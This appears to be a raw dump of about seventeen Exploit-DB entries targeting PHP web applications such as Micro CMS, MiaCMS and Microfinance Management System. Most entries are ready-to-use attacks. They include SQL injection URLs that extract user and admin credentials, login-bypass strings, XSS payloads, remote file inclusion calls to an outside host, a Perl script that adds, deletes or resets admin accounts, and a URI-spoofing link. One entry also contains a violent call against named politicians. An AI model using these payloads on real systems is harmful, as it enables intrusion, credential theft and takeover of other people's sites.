deardaniel/secdata-raw huggingface dataset:
Exploit-DB #11671
Description: mhproducts Kleinanzeigenmarkt - 'search.php' SQL Injection
Type: webapps
Platform: php
Date: 2010-03-09
Author: Easy Laster

Exploit:
----------------------------Information------------------------------------------------
+Name : mhproducts kleinanzeigenmarkt search.php SQL Injection
+Autor : Easy Laster
+Date   : 09.03.2010
+Script  : mhproducts kleinanzeigenmarkt 
+Download : ----------------
+Price : 9,99 €
+Language :PHP
+Discovered by Easy Laster
+Security Group 4004-Security-Project
+Greetz to Team-Internet ,Underground Agents
+And all Friends of Cyberlive : R!p,Eddy14,Silent Vapor,Nolok,
Kiba,-tmh-,Dr Chaos,HANN!BAL,Kabel,-=Player=-,Lidloses_Auge,
N00bor,Ic3Drag0n,novaca!ne.

---------------------------------------------------------------------------------------
                                                                                     
 ___ ___ ___ ___                         _ _           _____           _         _   
| | |   |   | | |___ ___ ___ ___ _ _ ___|_| |_ _ _ ___|  _  |___ ___  |_|___ ___| |_ 
|_  | | | | |_  |___|_ -| -_|  _| | |  _| |  _| | |___|   __|  _| . | | | -_|  _|  _|
  |_|___|___| |_|   |___|___|___|___|_| |_|_| |_  |   |__|  |_| |___|_| |___|___|_|  
                                              |___|                 |___|            


----------------------------------------------------------------------------------------
+Vulnerability : http://www.site.com/portal/search.php?c=

#username 
+Exploitable   : http://www.site.com/portal/search.php?c=-999999'+union+select+1,2,
3,4,5,convert(name using utf8),7,8,9,10,11,12,13,14,15+from+users--+

#user pass
+Exploitable   : http://www.site.com/portal/search.php?c=-999999'+union+select+1,2,
3,4,5,convert(password using utf8),7,8,9,10,11,12,13,14,15+from+users--+

or

+Exploitable   : http://www.site.com/portal/search.php?c=-999999'+union+select+1,2,
3,4,5,concat(name,0x3a,password,0x3a,email)7,8,9,10,11,12,13,14,15+from+users--+


-----------------------------------------------------------------------------------------
Exploit-DB #6295
Description: MiaCMS 4.6.5 - Multiple SQL Injections
Type: webapps
Platform: php
Date: 2008-08-24
Author: ~!Dok_tOR!~

Exploit:
MiaCMS <= 4.6.5 SQL Injection Vulnerability

Author: ~!Dok_tOR!~
Contact: coder5(at)topmail.kz 
Home Page: www.antichat.ru
Date found: 24.08.08
Product: MiaCMS
Version: 4.6.5
Download script: http://miacms.googlecode.com/files/MiaCMS_v4.6.5.tar.gz
Vulnerability Class: SQL Injection


Exploit 1:

index.php?option=com_content&task=view&id=-9999999+union+select+1,concat_ws(0x3a,username,password)+from+mia_users/*&Itemid=9

Exploit 2:

index.php?option=com_content&task=category&sectionid=doktor&id=-9999999+union+select+1,concat_ws(0x3a,username,password)+from+mia_users/*&Itemid=27

Exploit 3:

index.php?option=com_content&task=blogsection&id=-9999999+union+select+1,concat_ws(0x3a,username,password)+from+mia_users/*&Itemid=9


Opera -> Source(Ctrl+F3)

<div class="moduletable">

...

onclick="window.open('http://digg.com/submit?phase=3&amp;url='+encodeURIComponent(location.href)+'&amp;bodytext=This+site+uses+MiaCMS+-+the+free%2C+open+source+content+management+system+admin%3A21232f297a57a5a743894a0e4a801fc3&amp;

admin:21232f297a57a5a743894a0e4a801fc3

http://localhost/[installdir]/administrator/

# milw0rm.com [2008-08-24]
Exploit-DB #21903
Description: Michael Schatz Books 0.54/0.6 PostNuke Module - Cross-Site Scripting
Type: webapps
Platform: php
Date: 2002-10-03
Author: Pistone

Exploit:
source: https://www.securityfocus.com/bid/5882/info

Books is a module written for PostNuke. Reportedly, Books is prone to cross site scripting attacks.

An attacker may exploit this vulnerability by enticing a victim user to follow a malicious link containing HTML and script code. The attacker-supplied HTML and script code may be executed on a web client in the context of the site hosting the vulnerable module.

Attackers may potentially exploit this issue to manipulate web content or to steal cookie-based authentication credentials. It may be possible to take arbitrary actions as the victim user.

http://servernuke/modules.php?op=modload&name=books&file=index&req=search&query=
<script>alert(document.cookie)</script>
Exploit-DB #3232
Description: Michelles L2J Dropcalc 4 - SQL Injection
Type: webapps
Platform: php
Date: 2007-01-31
Author: Codebreak

Exploit:
#==============================================================================================
#  Title: Michelle's L2J Dropcalc
#  Version: <= v4
#  Web Site: http://www.msknight.com/comps/lineage2/myl2jdropcalc.htm
#
#  Discovered By: Codebreak (codebreak1984@gmail.com | www.codebreak.tk)
#
#==============================================================================================
#  SQL Injection: (*** Must be logged in, using your own username and Token ***)
#
#  http://[Target]/[Path]/i-search.php?itemid=&username=[User]&token=[Token]&langval=lang-eng.php&server_id=0&skin_id=0&itemid=[SQL]
#
#  Example:
#
#   Obtain a player username:
#   http://[Target]/[Path]/i-search.php?itemid=&username=[User]&token=[Token]&langval=lang-eng.php&server_id=0&skin_id=0&itemid=-1 UNION select null,account_name,null,null,null,null,null from characters where char_name = "[PLAYER]"
#
#   Obtain a password for that username (*** encrypted): 
#    * only valid if loginserver and gameserver are in the same machine
#   http://[Target]/[Path]/i-search.php?itemid=&username=[User]&token=[Token]&langval=lang-eng.php&server_id=0&skin_id=0&itemid=-1 UNION select null,password,null,null,null,null,null from accounts where login = "[USERNAME]"
#
#
#  Bonus:
#   
#   Obtain MYSQL Password (encrypted):
#    *only valid if the script is executed with root accounts.
#   http://[Target]/[Path]/i-search.php?itemid=&username=[User]&token=[Token]&langval=lang-eng.php&server_id=0&skin_id=0&itemid=-1 UNION select null,Password,null,null,null,null,null from mysql.user where User = "root" and host="localhost"
#
#   *** L2J Encrypted Password can be decoded into a SHA1 hash. I've made a script to do that and it's included in this file
#
###############################################################################################


<--------- Beginning of PHP Script --------->

<style type="text/css">
<!--
.style3 {font-size: 24px}
.style1 {color: #CC0000}
-->
</style>
<?
echo("<title>L2J Pass Decoding - POC</title>");
$pass = $_POST['decode']; 
$unpass3 = base64_decode($pass);


$array = unpack("H*", $unpass3);
foreach ($array as $key => $value)
$unpass2 = $array[1];


echo("<span class=style1><b><u>Decoding Password</u></b></span>");

echo("<br><b>Base 64:</b> $pass<br>");
echo("<b>Unpacked:</b> $unpass3<br>");
echo("<br><b>SHA1:</b> $unpass2<br>");
?>
<form name="form1" method="post" action="">
  <div align="center">
    <input type="text" name="decode">
    <input type="submit" value="Decode">
  </div>
</form>
<br><br><br><center><i>Created by Codebreak</center></i>

<------------- End of Script ------------->

# milw0rm.com [2007-01-31]
Exploit-DB #41101
Description: Micro Blog Script - SQL Injection
Type: webapps
Platform: php
Date: 2017-01-18
Author: Ihsan Sencan

Exploit:
# # # # # 
# Vulnerability: SQL Injection + Authentication Bypass
# Date: 18.01.2017
# Vendor Homepage: http://www.scriptgiant.com/
# Tested on: http://www.microblogscript.scriptgiant.in
# Script Name: Micro Blog Script
# Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Mail : ihsan[beygir]ihsan[nokta]net
# # # # #
# Authentication Bypass :
# http://localhost/[PATH]/admin/ and set Username:'or''=' and Password to 'or''=' and hit enter.
# SQL Injection/Exploit :
# http://localhost/[PATH]/backoffice/security.php?act=edit_cat&id=[SQL]
# http://localhost/[PATH]/backoffice/blog_category.php?act=edit_cat&blog_category_id=[SQL]
# http://localhost/[PATH]/backoffice/photo.php?act=edit_cat&photo_id=[SQL]
# http://localhost/[PATH]/backoffice/video.php?act=edit_cat&video_id=[SQL]
# http://localhost/[PATH]/backoffice/banner_list.php?act=edit_cat&banner_id=[SQL]
# E.t.c.... Other files, too. SQL There are security vulnerabilities.
# # # # #
Exploit-DB #1929
Description: Micro CMS 0.3.5 - 'microcms_path' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-06-19
Author: CeNGiZ-HaN

Exploit:
#################### W W W . S Y S T E M D E F A C E R S . O R G #######################
########################################################################################
# Find By: CeNGiZ-HaN  ( guerilla@cyberkatliam.org )
# Risk   : High
# Script : micro cms www.impliedbydesign.com
########################################################################################
# GreeTz Al S-D-T Members //// Remote File inclusion //// (microcms_path)
########################################################################################
#
#
# http://target/micro_cms_path/micro_cms_files/microcms-include.php?microcms_path=[evil scripts]
#  
#
#
#########################################################################################
# ################### W W W . S Y S T E M D E F A C E R S . O R G #######################
#########################################################################################

# milw0rm.com [2006-06-19]
Exploit-DB #6933
Description: Micro CMS 0.3.5 - Remote Add/Delete/Password Change
Type: webapps
Platform: php
Date: 2008-11-01
Author: StAkeR

Exploit:
#!/usr/bin/perl
# --------------------------------------------------------------
# Micro CMS <= 0.3.5 Remote (Add/Delete/Password Change) Exploit
# StAkeR[at]hotmail[dot]it
# http://www.impliedbydesign.com/apps/microcms/microcms.zip
# --------------------------------------------------------------

use strict;
use LWP::UserAgent;

my ($admin,$passwd);
my @real = undef;
my $http = new LWP::UserAgent; 
my ($host,$path,$tell) = @ARGV;

if($host !~ /http:\/\/(.+?)$/i || $tell !~ /^\-(delete|change|add)?$/i)
{
  print STDOUT "[+] Micro CMS <= 0.3.5 Remote (Add/Delete/Password Change) Exploit\n";
  print STDOUT "[+] Usage: perl $0 http://[host] [path] -option (-delete,-change,-add)\n";
  exit;
}


if($tell =~ /delete/i)
{
  print STDOUT "[+]Admin ID: ";
  chomp($admin = <STDIN>);
  
  if(defined $admin)
  {
    print STDOUT del_admin($admin);
    exit;
  }
  else
  {
    print STDOUT "[+] Not Defined!\n";
    exit;
  }
}

if($tell =~ /change/i)
{
  print STDOUT "[+] Admin ID : ";
  chomp($admin = <STDIN>);
  
  print STDOUT "[+] New Password: ";
  chomp($passwd = <STDIN>);
  
  if(defined $admin || defined($passwd))
  {
    print STDOUT change_pwd($admin,$passwd);
  }
  else
  {
    print STDOUT "[+] Not Defined!\n";
  }
}

if($tell =~ /add/i)
{
  print STDOUT "[+] Admin Username: ";
  chomp($admin = <STDIN>);
  
  print STDOUT "[+] Admin Password: ";
  chomp($passwd = <STDIN>);
  
  if(defined $admin || defined($passwd))
  {
    print STDOUT add_admin($admin,$passwd);
  }
  else
  {
    print STDOUT "[+] Not Defined!\n";
  }
}


sub change_pwd
{
  my ($userid,$passwd) = @_;
 
  my $post = {
               action                  => 'change_password',
               administrators_id       => $userid,
               administrators_password => $passwd,
            };
          
  $http->post($host.'/'.$path.'/microcms-admin-home.php',$post);
   
  return "[+] Password Changed! ($passwd)\n";

}


sub del_admin
{
  my $userid = shift @_;
 
  my $post = {
               action                  => 'delete_admin',
               administrators_id       => $userid,
            };
          
  $http->post($host.'/'.$path.'/microcms-admin-home.php',$post);
   
  return "[+] Admin ($userid) Has Been Deleted!\n";

}


sub add_admin
{
  my ($username,$password) = @_;
  my $level = 1;
 
  my $post = {
               action                  => 'add_admin',
               administrators_name     => $username,
               administrators_username => $username,
               administrators_password => $password,
               administrators_email    => $username,
               administrators_level    => $level,
            };
          
  $http->post($host.'/'.$path.'/microcms-admin-home.php',$post);
   
  return "[+] Username: $username and [CREDENTIAL_REDACTED]\n";
}    

# milw0rm.com [2008-11-01]
Exploit-DB #34784
Description: Micro CMS 1.0 - 'name' HTML Injection (1)
Type: webapps
Platform: php
Date: 2010-09-28
Author: Veerendra G.G

Exploit:
source: https://www.securityfocus.com/bid/43556/info

Micro CMS is prone to an HTML-injection vulnerability because it fails to properly sanitize user-supplied input before using it in dynamically generated content.

Successful exploits will allow attacker-supplied HTML and script code to run in the context of the affected browser, potentially allowing the attacker to steal cookie-based authentication credentials or to control how the site is rendered to the user. Other attacks are also possible.

Micro CMS 1.0 beta 1 is vulnerable; other versions may also be affected. 

<script> alert('XSS-Test')</script>
  in "* Name" textbox in comment section and fill other sections properly.
Exploit-DB #34891
Description: Micro CMS 1.0 - 'name' HTML Injection (2)
Type: webapps
Platform: php
Date: 2010-10-21
Author: SecPod Research

Exploit:
source: https://www.securityfocus.com/bid/44300/info

Micro CMS is prone to an HTML-injection vulnerability because it fails to properly sanitize user-supplied input before using it in dynamically generated content.

Successful exploits will allow attacker-supplied HTML and script code to run in the context of the affected browser, potentially allowing the attacker to steal cookie-based authentication credentials or to control how the site is rendered to the user. Other attacks are also possible.

Micro CMS 1.0 beta 1 is vulnerable; other versions may also be affected.

</legend><script> alert(&#039;XSS-Test&#039;)</script> <!--
</legend><script> alert(&#039;XSS-Test&#039;)</script>
<script> alert(&#039;XSS-Test&#039;)</script>
Exploit-DB #4329
Description: Micro CMS 3.5 - 'revert-content.php' SQL Injection
Type: webapps
Platform: php
Date: 2007-08-28
Author: not sec group

Exploit:
#########################################################################################
#
#                        not sec group
#        http://www.notsec.com     info@notsec.com
#
# [Micro CMS 3.5]
#
# Class:     SQL Injection
# Found:     28/08/2007
# Remote:    Yes
# Site:
http://www.impliedbydesign.com/ibd-micro-cms-static-content-manager.html
# Download:  http://www.impliedbydesign.com/apps/microcms/microcms.zip
# Demo site:
http://www.impliedbydesign.com/micro-cms-content-management-demo.php
#
#########################################################################################


       Vulnerable code:
       cms/revert-content.php
============================================================================================================
$sql = '        SELECT *
           FROM microcms_content_blurb_history
           WHERE content_blurbs_variable = "' . $_GET['id'] . '"
           ORDER BY content_blurb_history_version_num DESC
           LIMIT 1';
$result = mysql_query($sql);
============================================================================================================


       Exploit :
============================================================================================================================================================================================
http://site.com/[micro_cms]/cms/revert-content.php?type=newest&id=1%22%20UNION%20ALL%20SELECT%20null,null,SUBSTRING(administrators_pass,1,16),null,null%20FROM%20microcms_administrators/*
============================================================================================================================================================================================


       Thanks To:
=========================
All notsec.com members;
White_Sheep for Bugs Hunter;
=========================
# notsec.com

# milw0rm.com [2007-08-28]
Exploit-DB #9699
Description: Micro CMS 3.5 - SQL Injection / Local File Inclusion
Type: webapps
Platform: php
Date: 2009-09-16
Author: learn3r hacker

Exploit:
#################################################
#        Micro CMS File inclusion Vuln		#
#	 Micro CMS SQLi login bypass		#
#	 By learn3r hacker from Nepal		#
#	  damagicalhacker@gmail.com		#
#################################################

Affected version: v 3.5 or may be lower...

#############################################
#			File Inclusion Vuln				#
#############################################

Requires register globals to be on...

Vuln file: microcms-inlude.php
http://localhost/exploit/microcms/micro_cms_files/microcms-include.php?microcms_path=[FileInclusion]%00


#############################################
#			SQLi Login Bypass				#
#############################################

Vuln file: microcms-admin-login.php

Username: valid_username/*   [eg. admin/*]
[CREDENTIAL_REDACTED]  [or whatever]

Or Username: " or 1=1/*
[CREDENTIAL_REDACTED]  [or whatever]



Greetz to: sToRm and m0nkee from #gny, sam207 from www.sampctricks.blogspot.com, nepali boka, l@d0_put! HaCKeR and all...
FuCK MaKuNe, G!r!ja, Prachanda and all political leaders of Nepal
K!ll Upendra Yadav and Vijay Gachhedhaar

By learn3r aka cyb3r lord
Nepali Hackerz Are Not Dead!!!

# milw0rm.com [2009-09-16]
Exploit-DB #27100
Description: microBlog 2.0 - 'index.php' Multiple SQL Injections
Type: webapps
Platform: php
Date: 2006-01-17
Author: Aliaksandr Hartsuyeu

Exploit:
source: https://www.securityfocus.com/bid/16270/info

microBlog is prone to multiple SQL injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in SQL queries.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

http://www.example.com/microblog/index.php?month=1&year=9999%20union%20select%201,2,3,4,5,6,7,8,9,10,11,12,13,14/*
Exploit-DB #50891
Description: Microfinance Management System 1.0 - 'customer_number' SQLi
Type: webapps
Platform: php
Date: 2022-05-11
Author: Eren Gozaydin

Exploit:
# Exploit Title: Microfinance Management System 1.0 - 'customer_number' SQLi
# Date: 2022-25-03
# Exploit Author: Eren Gozaydin
# Vendor Homepage: https://www.sourcecodester.com/php/14822/microfinance-management-system.html
# Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/mims_0.zip
# Version: 1.0
# Tested on: Windows 10 Pro + PHP 8.0.11, Apache 2.4.51
# CVE: CVE-2022-27927
# References: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-27927

------------------------------------------------------------------------------------

1. Description:
----------------------

Microfinance Management System allows SQL Injection via parameter 'customer_number' in
/mims/updatecustomer.php. Exploiting this issue could allow an attacker to compromise
the application, access or modify data, or exploit latent vulnerabilities
in the underlying database.


2. Proof of Concept:
----------------------

In Burpsuite intercept the request from the affected page with
'customer_number' parameter and save it like poc.txt Then run SQLmap to extract the
data from the database:

sqlmap.py -r poc.txt --dbms=mysql


3. Example payload:
----------------------

(error-based)

customer_number=-5361' OR 1 GROUP BY CONCAT(0x716a786271,(SELECT (CASE WHEN (6766=6766) THEN 1 ELSE 0 END)),0x7171716a71,FLOOR(RAND(0)*2)) HAVING MIN(0)#),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97),0x3a,FLOOR(RAND(0)2))x FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a)+'


4. Burpsuite request:
----------------------

GET /mims/updatecustomer.php?customer_number=-1%27%20and%206%3d3%20or%201%3d1%2b(SELECT%201%20and%20ROW(1%2c1)%3e(SELECT%20COUNT(*)%2cCONCAT(CHAR(95)%2cCHAR(33)%2cCHAR(64)%2cCHAR(52)%2cCHAR(100)%2cCHAR(105)%2cCHAR(108)%2cCHAR(101)%2cCHAR(109)%2cCHAR(109)%2cCHAR(97)%2c0x3a%2cFLOOR(RAND(0)*2))x%20FROM%20INFORMATION_SCHEMA.COLLATIONS%20GROUP%20BY%20x)a)%2b%27 HTTP/1.1
Host: localhost
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: en-us,en;q=0.5
Cache-Control: no-cache
Cookie: PHPSESSID=rf50l831r3vn4ho0g6aef189bt
Referer: http://localhost/mims/managecustomer.php
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.0 Safari/537.36
Exploit-DB #32539
Description: Microsoft Internet Explorer 6 - '&NBSP;' Address Bar URI Spoofing
Type: webapps
Platform: php
Date: 2008-10-27
Author: Amit Klein

Exploit:
source: https://www.securityfocus.com/bid/31960/info

Internet Explorer is affected by a URI-spoofing vulnerability because it fails to adequately handle specific combinations of the non-breaking space character ('&NBSP;').

An attacker may leverage this issue to spoof the source URI of a site presented to an unsuspecting user. This may lead to a false sense of trust because the user may be presented with a source URI of a trusted site while interacting with the attacker's malicious site.

Internet Explorer 6 is affected by this issue. 

<a href="http://www.example.com&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&n <http://www.example.com&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&n/> bsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;& nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs p;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb sp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&n bsp;&nbsp;.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;.phish.site/">Example</a> (In words, this is <a href="http://www.example.com <http://www.example.com/> followed by 30 ampersand-NBSP-semicolon, followed by a dot followed by another 31 ampersand-NBSP-semicolon followed by a dot, followed by 13 ampersand-NBSP-semicolon followed by a dot followed by phish.site/">Example</a>) This causes a link whose URL appears, IN THE ADDRESS BAR, as (may wrap around): http://www.example.com . . .phish.site/ (In words, this appears like "http://www.example.com" <http://www.example.com%22/> ; followed by 30 spaces, a dot, 31 spaces, a dot, 13 spaces, a dot and finally "phish.site/")
Exploit-DB #5651
Description: microssys CMS 1.5 - Remote File Inclusion
Type: webapps
Platform: php
Date: 2008-05-19
Author: Raz0r

Exploit:
## microSSys CMS <= 1.5 Remote File Inclusion Vulnerability
## Software site: http://wajox.com/
## ===============================================================
##                   By Raz0r (www.Raz0r.name)
## ===============================================================
## Vulnerable code (index.php@22-25,54-55):
## [22] if(isset($_REQUEST["1"])){
## [23] $P=$_REQUEST["1"];}else{
## [24] $P="main";
## [25] }
## [..]
## [54] if(isset($PAGES[$P])){}else{include("TH.txt");}
## [55] @include($PAGES[$P]);
## Nice...
## ===============================================================
## Exploit:
## http://host/index.php?1=lol&PAGES[lol]=http://raz0r.name/s.php
## =============================================================== 

# milw0rm.com [2008-05-19]